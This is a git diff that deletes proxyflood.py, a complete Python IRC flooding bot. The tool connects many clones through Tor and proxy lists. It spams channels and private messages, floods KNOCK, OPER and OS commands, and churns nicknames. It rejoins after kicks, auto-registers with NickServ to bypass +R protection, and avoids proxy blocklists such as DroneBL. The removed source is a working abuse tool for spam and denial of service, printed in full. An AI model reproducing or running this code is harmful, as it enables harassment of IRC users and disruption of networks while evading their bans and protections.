diff --git a/proxyflood.py b/proxyflood.py deleted file mode 100644 index b881f52..0000000 --- a/proxyflood.py +++ /dev/null @@ -1,868 +0,0 @@ -#!/usr/bin/env python - -import threading -import time, random, string, re, copy, sys -try: - from geoip import geolite2 - geolite = True -except: - geolite = False - -from config import Config - -import mysqlite -from misc import _log -import rocksock - -config = Config() - -_run_standalone = False -cached_dns = dict() - -is_target_protected = None -default_threads = None -badlist = [] -waitonsuccess = None -has_joined = [] - -with open('usernames.txt') as h: - nicklist = [ nick.strip() for nick in h.readlines() ] - - -def gennick(): - def rand(): - r = random.Random() - return r.randint(0, 0xffffffff) - - vowels = ['a', 'e', 'i', 'o', 'u', 'a', 'e', 'i', 'o', 'u', 'y' ] - cons = [ - 'b','c','d','f','g','h','j','k','l','m', - 'n','p','q','r','s','t','v','w','x','z', - 'bl', 'br', 'cr', 'cl', 'dr', 'fr', 'fl','gr','gl','kr','kl', - 'pr', 'pl', 'sh', 'st', 'sp', 'tr', - # give these few a couple more chances - 'b', 'd', 'f', 'g', 'h', 'm', 'n', 'r', 's', 't' - ] - # these consonant pairs may not be used on word start - cpair = ['ck', 'mm', 'nn', 'll', 'rm', 'tt', 'tz', 'pp'] - - name = '' - icount = 0 - - def rand_vowel(): - return vowels[rand()%len(vowels)] - def rand_cons(): - return cons[rand()%len(cons)] - def rand_cpair(): - return cpair[rand()%len(cpair)] - - if rand()%2 == 0: - name += rand_vowel() - icount += 1 - - maxicount = 3 + rand()%6 - while icount < maxicount: - dc = False - if icount > 0 and rand()%4 == 0: - name += rand_cpair() - dc = True - else: name += rand_cons() - icount += 1 - if icount == maxicount and not dc: break - name += rand_vowel() - icount += 1 - - return(name) - - -def try_div(a, b): - if b != 0: return a/float(b) - return 0 - -def socks4_resolve(srvname, server_port): - srv = srvname - if srv in cached_dns: - srv = cached_dns[srvname] - if config.flood.debug: - _log("using cached ip (%s) for %s"%(srv, srvname), "debug") - else: - dns_fail = False - try: - af, sa = rocksock.resolve(rocksock.RocksockHostinfo(srvname, server_port), want_v4=True) - if sa is not None: - cached_dns[srvname] = sa[0] - srv = sa[0] - else: dns_fail = True - except rocksock.RocksockException as e: - assert(e.get_errortype() == rocksock.RS_ET_GAI) - dns_fail = True - if dns_fail: - fail_inc = 0 - _log("could not resolve connection target %s"%srvname, "ERROR") - return False - return srv - -def has_been_lined(recv): - recv = recv.lower() - badkw = [ 'not welcome', 'dronebl', 'sectoor', 'bot/proxy', 'proxy/drone', 'efnetrbl' ] - for bkw in badkw: - if bkw in recv: return bkw - return False - -def randcrap(msg): - if not '%RANDCRAP%' in msg: return msg - chars = string.ascii_letters + string.punctuation - while '%RANDCRAP%' in msg: - crap = '' - #for i in range( random.randint(1,5)): - for i in range(3): - if len(crap): crap = '%s ' %crap - crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10)))) - msg = msg.replace('%RANDCRAP%', crap,1) - return msg.lower() - -def ischan(c): - if '%' in c or '#' in c or '&' in c: return True - return False - -def flood(sock): - if config.flood.nick: - nick = config.flood.nick - ident = nick - realname = nick - else: - nick = random.choice(nicklist) - if random.random() < random.random(): nick = gennick() - if random.random() < random.random(): ident = nick - else: ident = gennick() - if random.random() < random.random(): realname = nick - else: realname = gennick() - #if random.random() < random.random(): nick = '%s%d' % (nick, random.randint(10,99)) - #elif random.random() < random.random(): nick = '%s%s' % (nick, random.choice(['-','_','`','^'])) - #elif random.random() < random.random(): nick = '[%s]' % nick - #elif random.random() < random.random(): nick = '^%s^' % nick - - global floodfiles - global has_joined - if config.flood.message is not None: - msgs = config.flood.message.split(';') - #msgs = [ randcrap(msg) for msg in msgs ] - - try: chans = [ i.lower() for i in config.flood.target.split(',') if ischan(i) ] - except: chans = [] - try: nicks = [ i.lower() for i in config.flood.target.split(',') if not ischan(i) ] - except: nicks = [] - - if chans and len(chans) > 4: chans = random.choice(chans, 4) - if nicks and len(nicks) > 4: nicks = random.choice(nicks, 4) - - sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, ident, nick, realname)) - cycle = random.choice([0,1]) if config.flood.cycle == 2 else config.flood.cycle - ticks = time.time() - sent_ping = False - gotmotd = False - ret = False - connected = False - sentquery = False - failed = 0 - isjoined = None - lastflood = None - lastoperflood = None - lastwhois = None - changenick = None - lastpong = time.time() - global is_target_protected - global default_threads - global waitonsuccess - - hilight = {} - - #sff = floodfiles - - while True: - if config.flood.duration > 0: - if (time.time() - ticks) > config.flood.duration: break - - #if not len(chans) and not len(nicks): - # ret = True - # break - - try: recv = sock.recvline() - except Exception as e: break - - if not len(recv): break - elif recv.startswith('HTTP'): break - recv = recv.strip() - #if ' 491 ' in recv: print(recv) - print(recv) - - if has_been_lined(recv): - ret = False - break - - if recv.startswith('ERROR'): - _log(recv, nick) - break - - elif recv.startswith('PING'): - if config.flood.use_timeout: - if sent_ping: continue - sock.send('%s\r\n' % recv.replace('PING', 'PONG')) - sent_ping = True - #continue - - _split = recv.split(' ') - # reply to whois - if _split[1] in ['311', '319', '312', '330', '307', '671', '318' ]: - continue - - if _split[1] == 'PONG': - _log('%s: %s' % (nick, recv), nick) - #if random.random() < random.random(): time.sleep(0.3) - sock.send('PING %d\r\n' % round(time.time() - connected)) - - # irc welcome message - elif _split[1] == '376': - gotmotd = True - elif _split[1] == '474': - try: chans.remove(_split[3].lower()) - except: pass - - elif _split[1] == '352': - n = _split[7].lower() - if not n in nicks: nicks.append(n) - - elif _split[1] == '001': - connected = time.time() - - if config.flood.oper: - sock.send('WHO 0 o\n') - - send = [] - - send.append('PING :%d' %random.random()) - ## spam chans on connect - if chans and len(chans): - send.append('JOIN %s' % ','.join(chans)) - if config.flood.message and not config.flood.wait: - send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs)))) - - ## spam nicks on connect - #if nicks and len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore: - # if config.flood.change_nick: - # #for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist))) - # for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), gennick())) - # else: - # send.append('PRIVMSG %s :%s' % (','.join(nicks), randcrap(random.choice(msgs)))) - - if len(send): - sock.send('\r\n'.join(send) + '\r\n') - - elif _split[1] == 'PART': - c = _split[2].lstrip(':').lower() - if not c in chans: continue - if not recv.startswith(':%s!' % nick): continue - isjoined = None - failed = 0 - if config.flood.cycle: sock.send('JOIN %s\n' % c) - - # end of names list (joined a chan) - elif _split[1] == '366': - failed = 0 - isjoined = time.time() - connected = time.time() - ret = True - c = _split[3].lower() - if not c in chans: continue - """ - if config.flood.hilight: - hl = '' - for n in hilight[c]: - if len(hl): hl = '%s %s' %(hl, n) - else: hl = n - if len(hl) >= 200: break - send.append('PRIVMSG %s :%s' %(c,hl)) - """ - send = [] - - if not c in has_joined: - has_joined.append(c) - if not c in chans: - chans.append(c) - - if config.flood.message: - if not config.flood.wait or (time.time() - connected) > config.flood.wait: - send.append('PRIVMSG %s :%s' %(c,randcrap(random.choice(msgs)))) - - if config.flood.cycle: - if config.flood.message: - message = randcrap( random.choice(msgs) ) - else: message = '' - send.append('PART %s :%s\n' % (c,message)) - continue - - if config.flood.once: - send.append('QUIT') - - if len(send): - sock.send('\r\n'.join(send) + '\r\n') - _log('366 sent: %s' %'\r\n'.join(send), nick) - - if config.flood.waitonsuccess: - _log('bots should now wait', nick) - waitonsuccess = time.time() - - # nick/chan not found - elif _split[1] == '403': - ret = True - c = _split[3].lower() - if c in chans: chans.remove(c) - elif c in nicks: nicks.remove(c) - - # nick reseverd or already used - elif _split[1] == '432' or _split[1] == '433': - #nick = random.choice(nicklist) - nick = gennick() - sock.send('NICK %s\r\n' % nick) - - elif _split[1] == '353': - if not _split[4] in hilight: hilight[_split[4]] = [] - - for n in _split[5:]: - if n.startswith(':'): n = n.strip(':') - if n.startswith('@'): continue - if n.startswith('%'): continue - if n.startswith('+'): n = n.strip('+') - hilight[_split[4]].append(n) - - # code 500 - elif _split[1] == '500': - if not ret: ret = True - if 'too many join request' in recv.lower(): - time.sleep(10) - sock.send('JOIN %s\r\n' % _split[3]) - - # chan +i - elif _split[1] == '473': - if not ret: ret = True - for i in range(5): - sock.send('KNOCK %s %s\r\n' % (_split[3], 'E'*200)) - #time.sleep(0.3) - #if _split[3] in chans: chans.remove( _split[3] ) - - # bot has been kicked - elif _split[1] == 'KICK': - if _split[3] == nick: - sock.send('JOIN %s\n' % _split[2]) - continue - - # user is not present - elif _split[1] == '401': - if not ret: ret = True - #if _split[3] in chans: chans.remove(_split[3]) - if _split[3].lower() in nicks: nicks.remove(_split[3].lower()) - # banned from chan - elif _split[1] == '404': - _log(recv, nick) - c = _split[3].lower() - if not ret: ret = True - failed = failed +1 - if failed >= 10: - if c in chans: chans.remove( c ) - else: - sock.send('JOIN %s\n' % c) - - # user or chan sets mode +R - elif _split[1] == '477' or _split[1] == '531': - target = _split[3].lower() - if not ret: ret = True - _log('target "%s" is protected (+R)' % target, nick) - - if not config.flood.register: - if target in chans: chans.remove(target) - if target in nicks: nicks.remove(target) - #if not len(chans) and not len(nicks): break - - else: - sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick)) - time.sleep(1) - #if '#' in config.flood.target: - if chans and len(chans): - sock.send('JOIN %s\r\n' % ','.join(chans)) - if config.flood.message is not None: - sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, randcrap(random.choice(msgs)))) - if config.flood.once: sock.send('QUIT\r\n') - - - if not connected: continue - if config.flood.wait and (time.time() - connected) < config.flood.wait: continue - - ## - ## FLOOD GOES HERE - ## - # flood oper - - if config.flood.failid is not None: - choices = config.flood.failid.split(',') - print(choices) - sock.send('NICKSERV IDENTIFY %s %s\n' % (random.sample(choices,1), 'foo')) - - if config.flood.oper: - if not lastoperflood or (time.time() - lastoperflood) >= 1: - lastoperflood = time.time() - if random.random() < random.random(): - sock.send('OPER %s %s\n' % ( ''.join( [c*10 for c in 'REEEEEEEEEEEEEEEEEE'] ), 'i' )) - - # flood os - if config.flood.os: - sock.send('OS %s\n' % 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE') - - # flood in PVs - if config.flood.query and (time.time() - connected) >= config.flood.noquerybefore and nicks and len(nicks): - if not sentquery or (time.time() - sentquery) > 60: - if config.flood.change_nick and config.flood.message is not None: - _log('sending queries ? (nickchange)', nick) - for i in range(config.flood.change_nick): - sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), gennick())) - elif config.flood.message is not None: - _log('sending queries ?', nick) - sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs)))) - sentquery = time.time() - - if config.flood.change_nick: - if not changenick or (time.time() - changenick) >= 60: - changenick = time.time() - for i in range(config.flood.change_nick): - sock.send('NICK %s\r\n' % gennick()) - - # flood chan - if isjoined: - if not lastflood or (time.time() - lastflood) >= 2: - if not config.flood.wait or (time.time() - connected) > config.flood.wait and chans and len(chans): - lastflood = time.time() - if config.flood.message: - for c in chans: - sock.send('PRIVMSG %s :%s\n' % (c, randcrap(random.choice(msgs)))) - if config.flood.file: - if not len(floodfiles): loadfloodfile() - choice = random.choice(floodfiles) - floodfiles.remove(choice) - for c in chans: - spam = [ 'PRIVMSG %s :%s' % (c,i) for i in choice ] - sock.send('%s\n' % ''.join(spam)) - time.sleep(0.1) - - if config.flood.modex and random.random() < random.random(): - sock.send('MODE %s -x\nMODE %s +x\n' % (nick, nick)) - - if config.flood.whois and nicks and len(nicks) > 0: - lastwhois = time.time() - if not lastwhois or (time.time() - lastwhois) >= 1 and random.random() < random.random(): - maxsample = len(nicks) - if maxsample > 3: maxsample = 3 - sock.send('WHOIS %s\n' % ','.join( random.sample(nicks, maxsample))) - - _log('end of loop', nick) - try: - sock.send('QUIT :\n') - time.sleep(1) - sock.disconnect() - except: - pass - - return ret - -class WorkerJob(): - def __init__(self, proxy, proto, failcount, success_count, total_duration, country, oldies = False): - self.proxy = proxy - self.proto = proto - self.failcount = failcount - self.checktime = None - self.success_count = success_count - self.total_duration = total_duration - self.country = country - self.isoldies = oldies - - def connect_socket(self): - global badlist - #global waitonsuccess - #if self.proxy in badlist: return False - - while time.time() < nextrun: time.sleep(1) - - """ - if config.flood.waitonsuccess and waitonsuccess is not None: - if not '-' in config.flood.delay: - if (time.time() - waitonsuccess) < int(config.flood.delay): return True - else: - s = config.flood.delay.split('-') - if (time.time() - waitonsuccess) < random.randint(int(s[0]), int(s[1])): return True - """ - - srvname = config.flood.server - protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto] - use_ssl = random.choice([0,1]) if config.flood.use_ssl == 2 else config.flood.use_ssl - server_port = 6697 if use_ssl else 6667 - - fail_inc = 1 - - for proto in protos: - torhost = random.choice(config.torhosts) - # socks4 (without 4a) requires a raw ip address - # rocksock automatically resolves if needed, but it's more - # efficient to cache the result. - if proto == 'socks4': srv = socks4_resolve(srvname, server_port) - else: srv = srvname - ## skip socks4 failed resolution - if not srv: continue - - duration = time.time() - proxies = [ - rocksock.RocksockProxyFromURL('socks4://%s' % torhost), - rocksock.RocksockProxyFromURL('%s://%s' % (proto, self.proxy)), - ] - - try: - sock = rocksock.Rocksock(host=srv, port=server_port, ssl=use_ssl, proxies=proxies, timeout=config.watchd.timeout) - sock.connect() - status = flood(sock) - #print('status: %s' %str(status)) - if not status and not self.proxy in badlist: badlist.append(self.proxy) - if not status and random.random() < random.random(): status = False - return status - - except rocksock.RocksockException as e: - if config.flood.debug: - _log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug') - - et = e.get_errortype() - err = e.get_error() - fp = e.get_failedproxy() - - sock.disconnect() - - if et == rocksock.RS_ET_OWN: - if fp == 1 and \ - err == rocksock.RS_E_REMOTE_DISCONNECTED or \ - err == rocksock.RS_E_HIT_TIMEOUT: - # proxy is not online, so don't waste time trying all possible protocols - break - elif fp == 0 and \ - err == rocksock.RS_E_TARGET_CONN_REFUSED: - fail_inc = 0 - if random.randint(0, (config.flood.threads-1)/2) == 0: - _log("could not connect to proxy 0, sleep 5s", "ERROR") - time.sleep(5) - elif et == rocksock.RS_ET_GAI: - assert(0) - fail_inc = 0 - _log("could not resolve connection target %s"%srvname, "ERROR") - break - - except KeyboardInterrupt as e: - raise(e) - - return False - - def run(self): - global is_target_protected - self.checktime = int(time.time()) - if is_target_protected is not None: - if (self.checktime - is_target_protected) < 300: - time.sleep(10) - return - is_target_protected = None - global default_threads - config.flood.threads = default_threads - - global nextrun - if self.connect_socket(): - if config.flood.waitonsuccess and waitonsuccess is not None: - if not '-' in config.flood.delay: - nextrun = time.time() + config.flood.delay - else: - s = config.flood.delay.split('-') - nextrun = time.time() + random.randint( int(s[0]), int(s[1])) - print('nextrun: %s' % time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(nextrun))) - - return - - -class WorkerThread(): - def __init__ (self, id): - self.id = id - self.done = threading.Event() - self.thread = None - self.workqueue = [] - self.workdone = [] - self.lock = threading.Lock() - def stop(self): - self.done.set() - def term(self): - if self.thread: self.thread.join() - def add_jobs(self, jobs): - with self.lock: - self.workqueue.extend(jobs) - def return_jobs(self): - with self.lock: - jobs = self.workqueue - self.workqueue = [] - return jobs - def jobcount(self): - return len(self.workqueue) - def collect(self): - wd = copy.copy(self.workdone) - self.workdone = [] - return wd - def start_thread(self): - self.thread = threading.Thread(target=self.workloop) - self.thread.start() - def pop_if_possible(self): - with self.lock: - if len(self.workqueue): - job = self.workqueue.pop() - else: - job = None - return job - def workloop(self): - success_count = 0 - job_count = 0 - duration_total = 0 - duration_success_total = 0 - while True: - job = self.pop_if_possible() - if job: - nao = time.time() - job.run() - spent = time.time() - nao - if job.failcount == 0: - duration_success_total += spent - success_count += 1 - job_count += 1 - duration_total += spent - self.workdone.append(job) - elif not self.thread: - break - if self.done.is_set(): break - time.sleep(0.01) - if self.thread: - succ_rate = try_div(success_count, job_count)*100 - avg_succ_t = try_div(duration_success_total, success_count) - avg_fail_t = try_div(duration_total-duration_success_total, job_count-success_count) - avg_t = try_div(duration_total, job_count) - _log("terminated, %d/%d (%.2f%%), avg.time S/F/T %.2f, %.2f, %.2f" \ - % (success_count, job_count, succ_rate, avg_succ_t, avg_fail_t, avg_t) \ - , self.id) - -class Proxywatchd(): - - def stop(self): - _log('halting... (%d thread(s))' % len([item for item in self.threads if True]), 'flood') - self.stopping.set() - - def _cleanup(self): - for wt in self.threads: - wt.stop() - for wt in self.threads: - wt.term() - self.collect_work() - self.submit_collected() - self.stopped.set() - - def finish(self): - if not self.in_background: self._cleanup() - while not self.stopped.is_set(): time.sleep(0.1) - success_rate = try_div(self.totals['success'], self.totals['submitted']) * 100 - _log("total results: %d/%d (%.2f%%)"%(self.totals['success'], self.totals['submitted'], success_rate), "flood") - - def _prep_db(self): - self.mysqlite = mysqlite.mysqlite(config.watchd.database, str) - def _close_db(self): - if self.mysqlite: - self.mysqlite.close() - self.mysqlite = None - def __init__(self): - config.load() - self.in_background = False - self.threads = [] - self.stopping = threading.Event() - self.stopped = threading.Event() - - # create table if needed - self._prep_db() - self.mysqlite.execute('CREATE TABLE IF NOT EXISTS proxylist (proxy BLOB, country BLOB, added INT, failed INT, tested INT, source BLOB, dronebl INT, proto TEXT, success_count INT, total_duration INT)') - self.mysqlite.commit() - self._close_db() - - self.submit_after = config.watchd.submit_after # number of collected jobs before writing db - self.jobs = [] - self.collected = [] - self.totals = { - 'submitted':0, - 'success':0, - } - - def fetch_rows(self): - self.isoldies = False - q = 'SELECT proxy,proto,failed,success_count,total_duration,country FROM proxylist WHERE failed = 0 ORDER BY RANDOM()' - rows = self.mysqlite.execute(q).fetchall() - return rows - - def prepare_jobs(self): - self._prep_db() - ## enable tor safeguard by default - self.tor_safeguard = config.watchd.tor_safeguard - rows = self.fetch_rows() - - #print('preparing jobbs, oldies: %s' % str(self.isoldies)) - for i in range(config.flood.clones): - for row in rows: - job = WorkerJob(row[0], row[1], row[2], row[3], row[4], row[5], self.isoldies) - self.jobs.append(job) - self._close_db() - - def collect_work(self): - for wt in self.threads: - self.collected.extend(wt.collect()) - - def collect_unfinished(self): - for wt in self.threads: - jobs = wt.return_jobs() - self.jobs.extend(jobs) - if len(self.jobs): - _log("collected %d unfinished jobs"%len(self.jobs), "flood") - - def submit_collected(self): - if len(self.collected) == 0: return True - sc = 0 - args = [] - for job in self.collected: - if job.failcount == 0: sc += 1 - args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) ) - - success_rate = (float(sc) / len(self.collected)) * 100 - ret = True - if len(self.collected) >= 100 and success_rate <= config.watchd.outage_threshold and self.tor_safeguard: - _log("WATCHD %.2f%% SUCCESS RATE - tor circuit blocked? won't submit fails"%success_rate, "ERROR") - if sc == 0: return False - args = [] - for job in self.collected: - if job.failcount == 0: - args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) ) - ret = False - - _log("success rate: %.2f%%"%success_rate, 'flood') - self.collected = [] - self.totals['submitted'] += len(args) - self.totals['success'] += sc - return ret - - def start(self): - if config.flood.threads == 1 and _run_standalone: - return self._run() - else: - return self._run_background() - - def run(self): - if self.in_background: - while 1: time.sleep(1) - - def _run_background(self): - self.in_background = True - t = threading.Thread(target=self._run) - t.start() - - def _run(self): - _log('starting...', 'flood') - - for i in range(config.flood.threads): - #threadid = ''.join( [ random.choice(string.letters) for x in range(5) ] ) - threadid = i #''.join( [ random.choice(string.letters) for x in range(5) ] ) - wt = WorkerThread(threadid) - if self.in_background: - wt.start_thread() - self.threads.append(wt) - time.sleep( (random.random()/100) ) - - sleeptime = 0 - - while True: - - if self.stopping.is_set(): - if self.in_background: self._cleanup() - break - - if sleeptime == 0: - sleeptime = 1 - else: - time.sleep(1) - sleeptime -= 1 - continue - - if self.threads[random.choice(xrange(len(self.threads)))].jobcount() == 0: - self.collect_unfinished() - if not len(self.jobs): - self.collect_work() - if not self.submit_collected() and self.tor_safeguard: - _log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "flood") - self.collect_unfinished() - sleeptime = 1*60 - else: - self.prepare_jobs() - else: - if len(self.jobs) < len(self.threads): - # allow threads enough time to consume the jobs - sleeptime = 10 - if len(self.jobs): - _log("handing out %d jobs to %d thread(s)"% (len(self.jobs), len(self.threads)), 'flood') - jpt = len(self.jobs)/len(self.threads) - if len(self.jobs)/float(len(self.threads)) - jpt > 0.0: jpt += 1 - for tid in xrange(len(self.threads)): - self.threads[tid].add_jobs(self.jobs[tid*jpt:tid*jpt+jpt]) - self.jobs = [] - - if not self.in_background: # single_thread scenario - self.threads[0].workloop() - - self.collect_work() - - if len(self.collected) > self.submit_after: - if not self.submit_collected() and self.tor_safeguard: - _log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "flood") - self.collect_unfinished() - sleeptime = 1*60 - - time.sleep(1) - sleeptime -= 1 - -def loadfloodfile(): - print('(re)loading floodfiles...') - global floodfiles - floodfiles = [] - onlyfiles = ['%s/%s' % (config.flood.file, f) for f in listdir(config.flood.file) if isfile(join(config.flood.file, f))] - for f in onlyfiles: - with open(f, 'r') as handle: - floodfile = handle.readlines() - floodfiles.append(floodfile) - -if __name__ == '__main__': - _run_standalone = True - - config.load() - - nextrun = time.time() - - if config.flood.file is not None: - from os import listdir - from os.path import isfile, join - loadfloodfile() - - w = Proxywatchd() - try: - w.start() - w.run() - except KeyboardInterrupt as e: - pass - finally: - w.stop() - w.finish()